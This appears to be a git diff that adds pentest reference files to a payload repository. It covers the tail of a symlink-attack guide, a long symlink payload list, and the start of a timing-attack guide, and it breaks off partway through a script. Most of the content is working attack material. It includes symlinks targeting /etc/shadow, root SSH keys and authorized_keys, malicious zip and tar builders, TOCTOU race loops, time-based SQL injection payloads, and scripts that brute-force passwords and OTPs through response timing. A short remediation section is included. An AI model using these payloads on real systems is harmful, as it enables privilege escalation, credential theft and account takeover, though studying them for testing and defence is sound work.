+Content-Type: application/json + +{"data": "attacker_payload"} +``` + +**Result:** Log entry written to /etc/passwd instead of log file. + +--- + +### PoC 4: Archive Extraction Symlink Attack (Zip Slip) + +**Vulnerability:** Extracting archives containing malicious symlinks. + +**Steps to Test:** +1. Create archive with symlinks pointing outside extraction directory +2. Upload or provide archive to application +3. Extraction follows symlinks, writing to unintended locations + +**Creating Malicious Archive:** +```bash +# Create malicious tar archive +mkdir evil +cd evil +ln -s /etc/passwd symlink.txt +echo "evil content" > data.txt +cd .. +tar -czf evil.tar.gz evil/ + +# Or with absolute path symlink +ln -s /etc/passwd /tmp/evil_symlink +tar -czf evil.tar.gz /tmp/evil_symlink + +# Zip with symlink +ln -s ../../../etc/passwd symlink +zip --symlinks evil.zip symlink +``` + +**Python Script to Create Malicious Zip:** +```python +import zipfile +import os + +# Create zip with malicious symlink +with zipfile.ZipFile('evil.zip', 'w') as zf: + # Create symlink entry + info = zipfile.ZipInfo('link') + info.create_system = 3 # Unix + info.external_attr = 0o120777 << 16 # Symlink + zf.writestr(info, '../../../etc/passwd') +``` + +--- + +### PoC 5: File Upload Symlink Bypass + +**Vulnerability:** File upload allows symlink creation. + +**Steps to Test:** +1. Create symlink on local system +2. Upload symlink file +3. Access uploaded symlink to read target file + +**Creating Symlink for Upload:** +```bash +# Create symlink to sensitive file +ln -s /etc/passwd passwd_link.txt + +# Upload passwd_link.txt via web form +# If server preserves symlink and allows access: +curl https://example.com/uploads/passwd_link.txt +# Returns contents of /etc/passwd +``` + +**Multipart Form Data:** +```http +POST /upload HTTP/1.1 +Host: example.com +Content-Type: multipart/form-data; boundary=----boundary + +------boundary +Content-Disposition: form-data; name="file"; filename="link.txt" +Content-Type: application/octet-stream + + +------boundary-- +``` + +--- + +### PoC 6: Configuration File Symlink + +**Vulnerability:** Application reads configuration from predictable location. + +**Steps to Test:** +1. Identify config file location +2. Create symlink from config location to attacker-controlled file +3. Application reads attacker's configuration + +**Attack:** +```bash +# Application reads /etc/app/config.ini + +# Attacker creates symlink +rm /etc/app/config.ini +ln -s /tmp/attacker_config.ini /etc/app/config.ini + +# Attacker's config file +cat > /tmp/attacker_config.ini << EOF +[auth] +admin_password=hacked +debug_mode=true +EOF +``` + +--- + +### PoC 7: Web Document Root Symlink + +**Vulnerability:** Web server follows symlinks in document root. + +**Steps to Test:** +1. Upload or create symlink in web root +2. Access symlink via browser +3. Read arbitrary files from server + +**Attack:** +```bash +# Create symlink in web directory +cd /var/www/html/uploads/ +ln -s /etc/passwd passwd.txt +ln -s /home/user/.ssh/id_rsa key.txt + +# Access via browser +curl https://example.com/uploads/passwd.txt +# Returns /etc/passwd contents +``` + +**Apache Configuration Exploitation:** +```apache +# If Options FollowSymLinks is enabled + + Options FollowSymLinks # Vulnerable! + +``` + +--- + +### PoC 8: Backup Symlink Attack + +**Vulnerability:** Backup process follows symlinks. + +**Steps to Test:** +1. Identify backup process and source directory +2. Create symlinks in backup source pointing to sensitive files +3. Backup includes sensitive files + +**Attack:** +```bash +# Application backs up /home/user/data/ + +# Attacker creates symlinks in data directory +cd /home/user/data/ +ln -s /etc/shadow shadow_backup +ln -s /root/.ssh/id_rsa root_key + +# Backup process follows symlinks and includes sensitive files +# Attacker extracts sensitive files from backup archive +``` + +--- + +### PoC 9: Cache Directory Symlink + +**Vulnerability:** Application caches data in directory with weak permissions. + +**Steps to Test:** +1. Identify cache directory +2. Replace cache file with symlink +3. Application writes cached data to target file + +**Attack:** +```bash +# Application caches to /tmp/app_cache/user_123 + +# Attacker creates symlink +rm -rf /tmp/app_cache/user_123 +ln -s /home/victim/.ssh/authorized_keys /tmp/app_cache/user_123 + +# Application writes cache data (containing attacker's SSH key) +# to victim's authorized_keys file +``` + +--- + +### PoC 10: Symlink Directory Traversal + +**Vulnerability:** Application accepts file paths without proper validation. + +**Steps to Test:** +1. Create symlink chain for directory traversal +2. Use symlinks to access files outside intended directory + +**Attack:** +```bash +# Create symlink chain +mkdir -p /tmp/uploads/a/b/c +cd /tmp/uploads +ln -s / a/b/c/root + +# Request file via application +GET /api/download?file=a/b/c/root/etc/passwd +# Application follows symlink to /etc/passwd +``` + +--- + +## Exploitation Techniques + +### 1. **Privilege Escalation** +```bash +# Replace /etc/passwd with symlink to attacker-controlled file +# When application writes to "passwd", it writes to attacker's file +ln -s /tmp/attacker_passwd /etc/passwd +``` + +### 2. **SSH Key Injection** +```bash +# Symlink authorized_keys +ln -s /tmp/attacker_keys /home/victim/.ssh/authorized_keys +# Application writes attacker's key to authorized_keys +``` + +### 3. **Configuration Override** +```bash +# Symlink config file +ln -s /tmp/evil_config /etc/app/app.conf +``` + +### 4. **Arbitrary File Read** +```bash +# Symlink in web root +ln -s /etc/passwd /var/www/html/exposed.txt +``` + +### 5. **Arbitrary File Write** +```bash +# Symlink temp file to target +ln -s /etc/crontab /tmp/app_temp_file +``` + +### 6. **Denial of Service** +```bash +# Symlink to /dev/zero or /dev/random +ln -s /dev/zero /var/log/app.log +# Application hangs trying to read infinite data +``` + +## Detection and Testing Tools + +### 1. **Manual Testing** +```bash +# Check if symlinks are followed +ln -s /etc/passwd test_link.txt +# Upload and access test_link.txt + +# Check temp file creation +strace -e openat,open application 2>&1 | grep tmp +``` + +### 2. **Automated Testing Script** +```python +import os +import time +import requests + +def test_symlink_vulnerability(upload_url, access_url): + # Create symlink to /etc/passwd + symlink_name = "test_symlink.txt" + os.symlink("/etc/passwd", symlink_name) + + # Upload symlink + with open(symlink_name, 'rb') as f: + files = {'file': f} + response = requests.post(upload_url, files=files) + + # Try to access symlink + response = requests.get(f"{access_url}/{symlink_name}") + + if "root:" in response.text: + print("[!] Symlink vulnerability confirmed!") + print(response.text) + else: + print("[+] No vulnerability detected") + + # Cleanup + os.remove(symlink_name) +``` + +### 3. **Archive Testing** +```bash +# Create test archive with symlink +ln -s /etc/passwd testlink +tar -czf test.tar.gz testlink + +# Upload and extract +# Check if extraction follows symlink +``` + +### 4. **TOCTOU Race Condition Testing** +```bash +# Run in parallel +while true; do + rm -f target_file + touch target_file + rm -f target_file + ln -s /etc/passwd target_file +done & + +# Meanwhile, trigger application to use target_file +``` + +## Exploitation Impact + +- **Critical:** Arbitrary file read/write, privilege escalation +- **High:** SSH key injection, configuration manipulation +- **Medium:** Information disclosure, DoS +- **Data Breach:** Access to sensitive files (passwords, keys, configs) + +## Remediation + +### 1. **Never Follow Symlinks** +```python +# Bad - Follows symlinks +with open(filename, 'r') as f: + data = f.read() + +# Good - Check for symlink first +import os +if os.path.islink(filename): + raise Exception("Symlinks not allowed") +with open(filename, 'r') as f: + data = f.read() +``` + +### 2. **Use O_NOFOLLOW Flag** +```c +// Open file without following symlinks +int fd = open(filename, O_RDONLY | O_NOFOLLOW); +if (fd == -1 && errno == ELOOP) { + // File is a symlink + printf("Symlink detected, access denied\n"); +} +``` + +### 3. **Validate File Paths** +```python +import os +import pathlib + +def is_safe_path(basedir, path): + # Resolve both paths + base = pathlib.Path(basedir).resolve() + target = pathlib.Path(path).resolve() + + # Check if target is within basedir + try: + target.relative_to(base) + return True + except ValueError: + return False +``` + +### 4. **Use Secure Temporary Files** +```python +import tempfile + +# Secure temp file creation +with tempfile.NamedTemporaryFile(delete=False) as f: + f.write(b"data") + temp_filename = f.name +``` + +### 5. **Disable Symlinks in Web Server** +```apache +# Apache + + Options -FollowSymLinks + + +# Nginx +disable_symlinks on; +``` + +### 6. **Check File Type Before Operations** +```bash +# Check if file is a regular file +if [ -f "$file" ] && [ ! -L "$file" ]; then + cat "$file" +else + echo "Not a regular file or is a symlink" +fi +``` + +### 7. **Use chroot or Containers** +- Isolate application in restricted environment +- Limit file system access + +### 8. **Atomic Operations** +```c +// Use O_EXCL to fail if file exists +int fd = open(filename, O_CREAT | O_EXCL | O_WRONLY, 0600); +if (fd == -1) { + perror("File already exists"); + exit(1); +} +``` + +### 9. **File Permission Checks** +```python +import os +import stat + +def is_safe_file(path): + try: + st = os.lstat(path) # lstat doesn't follow symlinks + + # Check if it's a symlink + if stat.S_ISLNK(st.st_mode): + return False + + # Check if it's a regular file + if not stat.S_ISREG(st.st_mode): + return False + + return True + except OSError: + return False +``` + +### 10. **Input Validation for Archives** +```python +import tarfile +import os + +def safe_extract(tar_path, extract_path): + with tarfile.open(tar_path, 'r') as tar: + for member in tar.getmembers(): + # Check for absolute paths + if member.name.startswith('/'): + raise Exception("Absolute path in archive") + + # Check for path traversal + if '..' in member.name: + raise Exception("Path traversal in archive") + + # Check if symlink + if member.issym() or member.islnk(): + raise Exception("Symlinks not allowed in archive") + + # Safe extraction + tar.extract(member, extract_path) +``` + +## References + +- [CWE-59: Improper Link Resolution Before File Access](https://cwe.mitre.org/data/definitions/59.html) +- [CWE-61: UNIX Symbolic Link Following](https://cwe.mitre.org/data/definitions/61.html) +- [CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition](https://cwe.mitre.org/data/definitions/367.html) +- [OWASP - Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal) +- [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability) + +## Payloads + +See `symbolic-link-payloads.txt` for a comprehensive list of symlink attack payloads and techniques. diff --git a/Symbolic-Link-Attacks/symbolic-link-payloads.txt b/Symbolic-Link-Attacks/symbolic-link-payloads.txt new file mode 100644 index 0000000..60661f1 --- /dev/null +++ b/Symbolic-Link-Attacks/symbolic-link-payloads.txt @@ -0,0 +1,436 @@ +# Symbolic Link Attack Payloads + +# ============================================ +# 1. BASIC SYMLINK CREATION +# ============================================ + +# Create symlink to sensitive files +ln -s /etc/passwd passwd_link.txt +ln -s /etc/shadow shadow_link.txt +ln -s /etc/hosts hosts_link.txt +ln -s /root/.ssh/id_rsa root_key_link +ln -s /home/user/.ssh/authorized_keys auth_keys_link + +# Symlink to directories +ln -s /etc/ etc_link +ln -s /root/ root_link +ln -s / rootfs_link +ln -s /var/log/ logs_link + +# ============================================ +# 2. TEMPORARY FILE SYMLINK ATTACKS +# ============================================ + +# Predict and create temp file symlinks +ln -s /etc/passwd /tmp/app_12345.tmp +ln -s /etc/shadow /tmp/temp_file_$$.tmp +ln -s /root/.ssh/id_rsa /tmp/upload_temp.txt +ln -s /etc/crontab /var/tmp/app_session + +# Common temp file patterns +ln -s /etc/passwd /tmp/php_upload_12345 +ln -s /etc/passwd /tmp/mysql.sock +ln -s /etc/passwd /var/tmp/sess_abcd1234 + +# ============================================ +# 3. LOG FILE SYMLINK ATTACKS +# ============================================ + +# Replace log files with symlinks +ln -s /etc/passwd /var/log/app.log +ln -s /etc/shadow /var/log/error.log +ln -s /home/user/.ssh/authorized_keys /var/log/access.log +ln -s /etc/crontab /var/log/system.log + +# Symlink to /dev/null for DoS +ln -s /dev/null /var/log/app.log + +# Symlink to /dev/zero for infinite data +ln -s /dev/zero /var/log/app.log + +# ============================================ +# 4. WEB ROOT SYMLINK ATTACKS +# ============================================ + +# Create symlinks in web directories +ln -s /etc/passwd /var/www/html/passwd.txt +ln -s /etc/shadow /var/www/html/shadow.txt +ln -s /root/.ssh/id_rsa /var/www/html/key.txt +ln -s /home/user/.bash_history /var/www/html/history.txt +ln -s /var/log/apache2/access.log /var/www/html/access.txt + +# Symlink to entire directories +ln -s /etc/ /var/www/html/etc +ln -s /root/ /var/www/html/root +ln -s /home/ /var/www/html/home + +# PHP uploads directory +ln -s /etc/passwd /var/www/html/uploads/passwd.txt +ln -s /etc/passwd /var/www/html/files/config.txt + +# ============================================ +# 5. CONFIGURATION FILE SYMLINK +# ============================================ + +# Replace config files +ln -s /tmp/attacker_config /etc/app/app.conf +ln -s /tmp/evil.ini /etc/app/database.ini +ln -s /tmp/settings.xml /etc/app/settings.xml + +# MySQL config +ln -s /tmp/evil.cnf /etc/mysql/my.cnf + +# Apache config +ln -s /tmp/evil.conf /etc/apache2/sites-enabled/000-default.conf + +# ============================================ +# 6. SSH KEY INJECTION SYMLINKS +# ============================================ + +# Symlink authorized_keys +ln -s /tmp/attacker_keys /home/victim/.ssh/authorized_keys +ln -s /tmp/attacker_keys /root/.ssh/authorized_keys + +# Symlink SSH config +ln -s /tmp/evil_ssh_config /home/user/.ssh/config + +# Symlink known_hosts +ln -s /dev/null /home/user/.ssh/known_hosts + +# ============================================ +# 7. ARCHIVE EXTRACTION SYMLINKS (ZIP SLIP) +# ============================================ + +# Bash commands to create malicious archives + +# Tar archive with symlink to /etc/passwd +ln -s /etc/passwd evil_link.txt +tar -czf evil.tar.gz evil_link.txt + +# Tar with absolute path symlink +ln -s /etc/shadow /tmp/shadow_link +tar -czf evil.tar.gz /tmp/shadow_link + +# Tar with directory traversal symlink +mkdir -p a/b/c +ln -s ../../../etc/passwd a/b/c/passwd +tar -czf evil.tar.gz a/ + +# Zip with symlink +ln -s /etc/passwd passwd_link +zip --symlinks evil.zip passwd_link + +# Zip with path traversal +ln -s ../../../../../../etc/passwd link +zip --symlinks evil.zip link + +# ============================================ +# 8. BACKUP SYMLINK ATTACKS +# ============================================ + +# Place symlinks in backup source directory +cd /home/user/backup_source/ +ln -s /etc/shadow shadow_backup.txt +ln -s /root/.ssh/id_rsa root_key.txt +ln -s /var/log/auth.log auth_log.txt +ln -s /etc/mysql/debian.cnf mysql_creds.txt + +# Symlink entire sensitive directories +ln -s /root/.ssh/ ssh_dir_backup +ln -s /etc/ etc_backup + +# ============================================ +# 9. CACHE DIRECTORY SYMLINKS +# ============================================ + +# Replace cache files with symlinks +ln -s /etc/passwd /tmp/app_cache/user_data +ln -s /home/victim/.ssh/authorized_keys /var/cache/app/session_123 +ln -s /etc/crontab /var/tmp/cache/data_456 + +# ============================================ +# 10. FILE UPLOAD SYMLINK EXPLOITATION +# ============================================ + +# Create symlinks for upload testing +ln -s /etc/passwd upload_passwd.txt +ln -s /etc/shadow upload_shadow.txt +ln -s /root/.ssh/id_rsa upload_key.pem +ln -s /proc/self/environ upload_env.txt + +# Symlink with allowed extension +ln -s /etc/passwd document.pdf +ln -s /etc/passwd image.jpg +ln -s /etc/passwd file.txt + +# ============================================ +# 11. TOCTOU RACE CONDITION PAYLOADS +# ============================================ + +# Continuous race condition exploit +while true; do + rm -f /tmp/target_file 2>/dev/null + touch /tmp/target_file + rm -f /tmp/target_file + ln -s /etc/passwd /tmp/target_file + sleep 0.001 +done + +# Python TOCTOU exploit +# import os, time +# while True: +# try: +# os.remove('/tmp/target') +# open('/tmp/target', 'w').close() +# os.remove('/tmp/target') +# os.symlink('/etc/passwd', '/tmp/target') +# except: pass + +# ============================================ +# 12. SYMLINK DIRECTORY TRAVERSAL +# ============================================ + +# Create symlink chains for traversal +mkdir -p /tmp/uploads/a/b/c/d/e +cd /tmp/uploads +ln -s / a/b/c/d/e/root + +# Multiple level traversal +ln -s ../../../../../../../etc/passwd link1.txt +ln -s ../../../../../../etc/shadow link2.txt + +# Relative path symlinks +cd /var/www/html/uploads +ln -s ../../../etc/passwd passwd.txt + +# ============================================ +# 13. CRON JOB SYMLINK ATTACKS +# ============================================ + +# Symlink crontab +ln -s /tmp/evil_cron /var/spool/cron/crontabs/root +ln -s /tmp/attacker_cron /etc/cron.d/custom + +# Symlink cron scripts +ln -s /tmp/evil_script.sh /etc/cron.daily/backup + +# ============================================ +# 14. DATABASE SYMLINK ATTACKS +# ============================================ + +# MySQL data directory symlinks +ln -s /etc/passwd /var/lib/mysql/database/table.MYD + +# PostgreSQL symlinks +ln -s /etc/shadow /var/lib/postgresql/data/pg_hba.conf + +# SQLite database symlinks +ln -s /etc/passwd /var/www/app/database.sqlite + +# ============================================ +# 15. SESSION FILE SYMLINKS +# ============================================ + +# PHP session symlinks +ln -s /etc/passwd /var/lib/php/sessions/sess_abc123 +ln -s /tmp/attacker_session /var/lib/php/sessions/sess_victim + +# Application session symlinks +ln -s /etc/shadow /tmp/sessions/user_session_123 + +# ============================================ +# 16. PACKAGE/DEPENDENCY SYMLINKS +# ============================================ + +# NPM/Node modules +ln -s /tmp/evil_module /var/www/app/node_modules/package + +# Python site-packages +ln -s /tmp/evil_module.py /usr/lib/python3/site-packages/module.py + +# ============================================ +# 17. SYSTEMD/INIT SYMLINKS +# ============================================ + +# Systemd service symlinks +ln -s /tmp/evil.service /etc/systemd/system/app.service + +# Init script symlinks +ln -s /tmp/evil_script /etc/init.d/custom_service + +# ============================================ +# 18. MAIL SPOOL SYMLINKS +# ============================================ + +# Mail spool symlinks +ln -s /etc/shadow /var/mail/root +ln -s /root/.ssh/id_rsa /var/spool/mail/user + +# ============================================ +# 19. PRINTER/DEVICE SYMLINKS +# ============================================ + +# Symlink to devices +ln -s /dev/random /tmp/data_file +ln -s /dev/zero /var/log/app.log +ln -s /dev/null /tmp/output.txt + +# Printer spool +ln -s /etc/passwd /var/spool/cups/tmp/job_123 + +# ============================================ +# 20. DOCKER/CONTAINER SYMLINKS +# ============================================ + +# Docker volume symlinks +ln -s /etc/passwd /var/lib/docker/volumes/app/_data/config.txt + +# Container mount symlinks +ln -s /host/etc/passwd /container/app/data/passwd.txt + +# ============================================ +# 21. GIT REPOSITORY SYMLINKS +# ============================================ + +# Git hooks symlinks +ln -s /tmp/evil_hook.sh /var/www/app/.git/hooks/pre-commit + +# Git config symlinks +ln -s /tmp/evil_config /var/www/app/.git/config + +# ============================================ +# 22. COMPILER/BUILD SYMLINKS +# ============================================ + +# Include file symlinks +ln -s /etc/passwd /usr/include/config.h + +# Library symlinks +ln -s /tmp/evil.so /usr/lib/libapp.so + +# ============================================ +# 23. BROWSER CACHE SYMLINKS +# ============================================ + +# Browser profile symlinks +ln -s /etc/passwd ~/.mozilla/firefox/profile/prefs.js +ln -s /etc/shadow ~/.config/google-chrome/Default/Preferences + +# ============================================ +# 24. SETUID/SETGID SYMLINKS +# ============================================ + +# Symlinks to setuid binaries (for analysis) +ln -s /usr/bin/sudo /tmp/sudo_link +ln -s /usr/bin/passwd /tmp/passwd_link + +# ============================================ +# 25. PROCFS SYMLINKS +# ============================================ + +# Process information symlinks +ln -s /proc/self/environ /var/www/html/env.txt +ln -s /proc/self/cmdline /tmp/cmdline.txt +ln -s /proc/self/cwd /tmp/cwd_link +ln -s /proc/self/fd/0 /tmp/stdin_link + +# ============================================ +# 26. NETWORK CONFIGURATION SYMLINKS +# ============================================ + +# Network config symlinks +ln -s /tmp/evil_hosts /etc/hosts +ln -s /tmp/evil_resolv /etc/resolv.conf +ln -s /tmp/evil_network /etc/network/interfaces + +# ============================================ +# 27. USER PROFILE SYMLINKS +# ============================================ + +# Shell profile symlinks +ln -s /tmp/evil_bashrc /home/user/.bashrc +ln -s /tmp/evil_profile /home/user/.profile +ln -s /tmp/evil_zshrc /home/user/.zshrc + +# ============================================ +# 28. MONITORING/AUDIT SYMLINKS +# ============================================ + +# Audit log symlinks +ln -s /dev/null /var/log/audit/audit.log + +# Monitoring config symlinks +ln -s /tmp/evil_config /etc/nagios/nrpe.cfg + +# ============================================ +# 29. CLOUD METADATA SYMLINKS +# ============================================ + +# AWS metadata symlinks (if accessible) +ln -s /proc/self/environ /var/www/html/aws_metadata.txt + +# ============================================ +# 30. RECURSIVE SYMLINK (DoS) +# ============================================ + +# Create circular symlinks for DoS +ln -s /tmp/link1 /tmp/link2 +ln -s /tmp/link2 /tmp/link1 + +# Self-referential symlink +ln -s /tmp/selflink /tmp/selflink + +# ============================================ +# TESTING COMMANDS +# ============================================ + +# Check if file is a symlink +test -L /path/to/file && echo "Is a symlink" + +# List symlinks +find /path -type l + +# Show symlink target +readlink /path/to/symlink +ls -l /path/to/symlink + +# Create symlink with specific name +ln -s /target /symlink_name + +# Force create symlink (overwrite existing) +ln -sf /target /symlink_name + +# Create relative symlink +ln -sr /target /symlink_name + +# ============================================ +# PREVENTION TESTING +# ============================================ + +# Test if application follows symlinks +ln -s /etc/passwd /tmp/test_symlink.txt +# Upload/access /tmp/test_symlink.txt +# If contents of /etc/passwd are returned, vulnerable + +# Test O_NOFOLLOW behavior +# Create symlink and try to open it +# Should fail with ELOOP error if protected + +# Test path validation +ln -s /etc/passwd allowed_dir/../../etc/passwd_link +# Try to access via application + +# ============================================ +# WINDOWS EQUIVALENTS (JUNCTION/MKLINK) +# ============================================ + +# Windows symbolic links (requires admin) +# mklink /D link target_directory +# mklink file_link target_file + +# Windows junctions (no admin required) +# mklink /J junction_dir target_directory + +# Example payloads (Windows) +# mklink passwd.txt C:\Windows\System32\config\SAM +# mklink /D sensitive_dir C:\Users\Administrator diff --git a/Timing-Attacks/README.md b/Timing-Attacks/README.md new file mode 100644 index 0000000..17af4e6 --- /dev/null +++ b/Timing-Attacks/README.md @@ -0,0 +1,596 @@ +# Timing Attacks + +## Description +Timing attacks are a type of side-channel attack where an attacker can discover information by analyzing the time it takes for a system to respond to different inputs. These attacks exploit variations in processing time to infer sensitive data such as valid usernames, password correctness, cryptographic keys, or internal system states. + +## How Timing Attacks Work +When an application takes different amounts of time to process valid versus invalid inputs, attackers can measure these timing differences to gain information. For example: +- Valid username checks may take longer due to additional database queries +- Password verification may fail faster for wrong usernames than wrong passwords +- Token validation may reveal valid token formats through timing differences +- Cryptographic operations may leak information through processing time + +## Common Vulnerabilities + +### 1. **User Enumeration via Login Timing** +Login responses take different times for existing vs non-existing users. + +### 2. **Password Verification Timing** +Password comparison stops at first wrong character (early return). + +### 3. **Token Validation Timing** +Valid token format takes longer to process than invalid format. + +### 4. **Cryptographic Key Discovery** +RSA, AES operations leak information through execution time. + +### 5. **Database Query Timing** +Different query execution times reveal data existence. + +### 6. **Cache Timing** +Cached vs uncached responses have different timing signatures. + +### 7. **Session Validation Timing** +Valid session checks take longer than invalid session checks. + +### 8. **OTP/PIN Verification Timing** +Character-by-character comparison reveals partial correctness. + +## Common Attack Vectors +- Authentication endpoints (login, password reset) +- Token validation endpoints +- Search functionality +- Database queries +- Cryptographic operations +- Session management +- File existence checks +- Cache mechanisms + +## Testing Methodology & PoC Examples + +### PoC 1: User Enumeration via Login Timing + +**Vulnerability:** Different response times for existing vs non-existing users. + +**Steps to Test:** +1. Send login request with known existing username +2. Measure response time (e.g., 250ms) +3. Send login request with non-existing username +4. Measure response time (e.g., 50ms) +5. Significant difference indicates vulnerability + +**Python Script:** +```python +import requests +import time + +def measure_login_time(username, password): + start = time.time() + response = requests.post('https://example.com/login', + data={'username': username, 'password': password}) + end = time.time() + return end - start + +# Test with known existing user +existing_user_time = measure_login_time('admin', 'wrong_password') +print(f"Existing user time: {existing_user_time:.3f}s") + +# Test with non-existing user +nonexistent_user_time = measure_login_time('nonexistent_user_12345', 'wrong_password') +print(f"Non-existing user time: {nonexistent_user_time:.3f}s") + +# If difference is significant (>50ms), vulnerability exists +if abs(existing_user_time - nonexistent_user_time) > 0.05: + print("Timing attack vulnerability detected!") +``` + +**Request Example:** +```http +POST /login HTTP/1.1 +Host: example.com +Content-Type: application/x-www-form-urlencoded + +username=admin&password=test123 +``` + +**Mitigation:** Use constant-time comparison and always perform same operations regardless of user existence. + +--- + +### PoC 2: Password Length Discovery via Timing + +**Vulnerability:** Password verification time increases with correct prefix length. + +**Steps to Test:** +1. Try passwords of different lengths +2. Measure response time for each +3. Longer correct prefixes take more time +4. Incrementally discover password character by character + +**Python Script:** +```python +import requests +import time +import string + +def test_password_timing(username, password): + times = [] + for _ in range(10): # Multiple attempts for accuracy + start = time.time() + requests.post('https://example.com/login', + data={'username': username, 'password': password}) + end = time.time() + times.append(end - start) + return sum(times) / len(times) # Average time + +# Brute force password character by character +known_password = "" +for position in range(20): # Try up to 20 characters + best_char = None + longest_time = 0 + + for char in string.ascii_letters + string.digits: + test_password = known_password + char + avg_time = test_password_timing('admin', test_password) + + if avg_time > longest_time: + longest_time = avg_time + best_char = char + + if best_char: + known_password += best_char + print(f"Discovered: {known_password}") + else: + break +``` + +--- + +### PoC 3: Token Validation Timing Attack + +**Vulnerability:** Valid token format takes longer to validate. + +**Steps to Test:** +1. Send requests with various token formats +2. Measure validation time +3. Valid format (even if expired) takes longer +4. Use timing to discover valid token structure + +**Request Examples:** +```http +GET /api/validate?token=invalid_format HTTP/1.1 +Host: example.com +# Fast response (5ms) + +GET /api/validate?token=550e8400-e29b-41d4-a716-446655440000 HTTP/1.1 +Host: example.com +# Slower response (50ms) - valid UUID format +``` + +**Python Script:** +```python +import requests +import time + +tokens = [ + 'invalid', + '12345', + 'abc-def-ghi', + '550e8400-e29b-41d4-a716-446655440000', # Valid UUID + 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', # Valid JWT format +] + +for token in tokens: + start = time.time() + response = requests.get(f'https://example.com/api/validate?token={token}') + elapsed = time.time() - start + print(f"Token: {token[:20]}... Time: {elapsed:.4f}s") +``` + +--- + +### PoC 4: Database Query Timing (SQL Timing Attack) + +**Vulnerability:** Different query execution times reveal data. + +**Steps to Test:** +1. Inject time-based SQL payloads +2. Measure response time +3. If condition is true, response is delayed +4. Extract data bit by bit + +**SQL Timing Payloads:** +```sql +' OR IF(1=1, SLEEP(5), 0) -- +' OR IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) -- +' AND IF((SELECT COUNT(*) FROM users)>10, SLEEP(5), 0) -- +admin' AND IF(LENGTH(password)>8, BENCHMARK(5000000,SHA1('test')), 0) -- +``` + +**Request:** +```http +POST /search HTTP/1.1 +Host: example.com +Content-Type: application/x-www-form-urlencoded + +query=' OR IF(1=1, SLEEP(5), 0) -- +``` + +**Python Script:** +```python +import requests +import time + +def check_condition(condition): + payload = f"' OR IF({condition}, SLEEP(5), 0) --" + start = time.time() + requests.post('https://example.com/search', data={'query': payload}) + elapsed = time.time() - start + return elapsed > 5 # True if condition is true + +# Extract database name length +for length in range(1, 50): + if check_condition(f"LENGTH(DATABASE())={length}"): + print(f"Database name length: {length}") + break +``` + +--- + +### PoC 5: Cache Timing Attack + +**Vulnerability:** Cached responses are faster than uncached. + +**Steps to Test:** +1. Request resource multiple times +2. First request is slow (cache miss) +3. Subsequent requests are fast (cache hit) +4. Use timing to discover accessed resources + +**Python Script:** +```python +import requests +import time + +def check_cache_timing(url): + # First request - potential cache miss + start = time.time() + requests.get(url) + first_time = time.time() - start + + # Second request - potential cache hit + start = time.time() + requests.get(url) + second_time = time.time() - start + + print(f"URL: {url}") + print(f"First: {first_time:.4f}s, Second: {second_time:.4f}s") + + if second_time < first_time * 0.5: + print("Likely cached!") + return True + return False + +# Test various resources +resources = [ + 'https://example.com/api/user/1', + 'https://example.com/api/user/2', + 'https://example.com/api/user/999', +] + +for resource in resources: + check_cache_timing(resource) +``` + +--- + +### PoC 6: OTP/PIN Brute Force via Timing + +**Vulnerability:** Character-by-character OTP comparison. + +**Steps to Test:** +1. Try OTPs with different first digits +2. Correct first digit takes slightly longer +3. Repeat for each position +4. Discover OTP digit by digit + +**Python Script:** +```python +import requests +import time + +def test_otp_timing(otp): + times = [] + for _ in range(20): # Multiple measurements + start = time.time() + requests.post('https://example.com/verify-otp', + data={'otp': otp}) + times.append(time.time() - start) + return sum(times) / len(times) + +# Discover 6-digit OTP +discovered_otp = "" +for position in range(6): + best_digit = None + longest_time = 0 + + for digit in range(10): + test_otp = discovered_otp + str(digit) + "0" * (5 - position) + avg_time = test_otp_timing(test_otp) + + if avg_time > longest_time: + longest_time = avg_time + best_digit = digit + + discovered_otp += str(best_digit) + print(f"Discovered so far: {discovered_otp}") +``` + +--- + +### PoC 7: File Existence Check via Timing + +**Vulnerability:** File existence affects response time. + +**Steps to Test:** +1. Request files that may exist +2. Existing files take longer (file I/O) +3. Non-existing files fail fast +4. Enumerate file structure via timing + +**Request:** +```http +GET /download?file=../../../etc/passwd HTTP/1.1 +Host: example.com +# Slower if file exists and is accessed +``` + +--- + +### PoC 8: Session Validation Timing + +**Vulnerability:** Valid sessions require more checks. + +**Steps to Test:** +1. Send requests with various session IDs +2. Valid format sessions take longer to invalidate +3. Discover valid session ID patterns + +**Python Script:** +```python +import requests +import time +import uuid + +def check_session_timing(session_id): + start = time.time() + requests.get('https://example.com/api/data', + cookies={'SESSIONID': session_id}) + return time.time() - start + +# Test different session formats +session_times = {} +for _ in range(10): + # Random UUID + session_id = str(uuid.uuid4()) + timing = check_session_timing(session_id) + session_times[session_id] = timing + print(f"Session: {session_id} Time: {timing:.4f}s") + +# Sessions with longer times might have valid format +sorted_sessions = sorted(session_times.items(), key=lambda x: x[1], reverse=True) +print("\nSlowest (potentially valid format):") +for session, timing in sorted_sessions[:3]: + print(f"{session}: {timing:.4f}s") +``` + +--- + +### PoC 9: Cryptographic Timing Attack (RSA) + +**Vulnerability:** RSA decryption time leaks private key information. + +**Concept:** +- RSA operations time varies based on key bits +- Measure time for different ciphertext +- Statistical analysis reveals key bits + +**Note:** This requires many measurements and statistical analysis. Real-world example: Bleichenbacher's attack. + +--- + +### PoC 10: Rate Limiting Detection via Timing + +**Vulnerability:** Rate limiting adds delay to responses. + +**Steps to Test:** +1. Send requests rapidly +2. Measure response times +3. After threshold, responses become slower +4. Discover rate limit threshold + +**Python Script:** +```python +import requests +import time + +url = 'https://example.com/api/endpoint' +times = [] + +for i in range(100): + start = time.time() + response = requests.get(url) + elapsed = time.time() - start + times.append(elapsed) + print(f"Request {i+1}: {elapsed:.4f}s") + + # Detect sudden increase in response time + if len(times) > 10: + avg_recent = sum(times[-10:]) / 10 + avg_early = sum(times[:10]) / 10 + if avg_recent > avg_early * 2: + print(f"Rate limit detected around request {i+1}") + break +``` + +--- + +## Tools for Testing + +### 1. **Custom Python Scripts** +```python +import statistics +import requests +import time + +def statistical_timing_attack(url, payloads): + results = {} + for payload in payloads: + times = [] + for _ in range(50): # 50 measurements for accuracy + start = time.time() + requests.post(url, data={'input': payload}) + times.append(time.time() - start) + + # Calculate statistics + avg = statistics.mean(times) + stdev = statistics.stdev(times) + results[payload] = {'avg': 